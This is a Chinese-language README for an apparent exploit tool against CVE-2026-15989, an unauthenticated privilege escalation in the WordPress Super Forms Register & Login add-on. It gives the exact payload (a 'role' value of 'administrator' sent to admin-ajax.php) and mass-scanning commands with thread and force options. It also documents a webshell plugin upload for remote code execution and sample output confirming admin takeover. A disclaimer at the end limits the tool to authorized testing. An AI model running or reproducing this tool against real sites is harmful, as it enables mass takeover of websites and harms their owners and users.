Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — 通过高级版 Register & Login 插件的 role 参数实现未认证权限提升。
| 属性 | 详情 |
|---|---|
| CVE ID | CVE-2026-15989 |
| 利用链 | 注册表单 → $other_userdata 中的 'role' → wp_insert_user(role=administrator) → 管理员 |
| 严重程度 | 🔴 严重 (CVSS 9.8) |
| 目标 | Super Forms – Drag & Drop Form Builder + 高级版 Register & Login 插件 |
| 受影响版本 | ≤ 6.3.316 (核心) — 存在漏洞的插件构建版本 (v1.x) |
| 修复版本 | 6.3.317 |
| 所需认证 | 无 |
该插件从表单设置中设置新用户的角色
($userdata['role'] = $settings['register_user_role']),然后遍历
$other_userdata —— 其中包含 'role' —— 并在调用 wp_insert_user() 之前
用客户端提供的值 ($data['role']['value']) 覆盖任何键。
POST /wp-admin/admin-ajax.php (未认证)
│
▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
│
▼
$other_userdata 循环 ─► $userdata['role'] = $data['role']['value']
│
▼
wp_insert_user() ─► 创建管理员账户
│
▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► 管理员会话
修复 (6.3.317):从白名单中移除 'role' + get_safe_public_registration_role() (故障关闭)。
原创研究 — 双提交协议: 核心在 v5.0.0 更改了协议。
| 核心 | Action | 数据格式 | Nonce |
|---|---|---|---|
| 4.x | super_send_email | 嵌套字段 (data[role][value]=...) | 无 (检查已被注释掉) |
| 5.x/6.x | super_submit_form | JSON 字符串 | sf_nonce 通过 super_create_nonce |
该工具根据检测到的版本自动选择协议。
# 批量扫描 + 利用
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup
# 单个目标
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure
# 重新检查现有账户而无需重新注册
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure
| 选项 | 描述 |
|---|---|
--list FILE | 每行一个目标;每行 URL|form_id 或 URL|form_id=ID,email=X |
-u/--target, --port | 单个目标 |
--threads, --timeout, --no-dedup | 批量模式调优 |
--force | 即使未检测到注册表单也发送 payload |
--only-hits / --quiet | 仅对确认命中的目标显示树状结构 / 最小化输出 |
--reset | 通过丢失密码完成验证模式 (操作员粘贴重置链接) |
--only-login | 跳过注册;登录并通过 users/me 检查角色 |
--login / --rce | 真实目标后利用:登录证明 / webshell 插件上传 |
-k/--insecure | 忽略 TLS |
│ ├─ plugin : 6.3.316 — VULNERABLE <= 6.3.316
│ ├─ addon : v1.8.7
│ ├─ form : 4169 (/register/)
│ ├─ proto : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│ ├─ payload : HTTP 200 ✓ processed
│ └─ session : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED
hits.txt — 仅确认的目标 (ts|url|status|detail,包含用户名/密码)readme.txt Stable 标签 + common.js?ver=;插件探测及其自身版本/wp-json/wp/v2/users/me?context=edit 进行权威管理员证明 (回退:users.php / dashboard)├── CVE-2026-15989.py # 批量扫描器 + 利用工具
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ 法律免责声明 ║
╠══════════════════════════════════════════════════════════════════╣
║ 本工具仅供教育和授权安全测试目的提供。 ║
║ 仅可在您拥有或获得明确许可的系统上使用。 ║
║ 作者不对任何误用或损害负责。 ║
╚══════════════════════════════════════════════════════════════════╝
wp-admin/ 用户,查找意外的管理员账户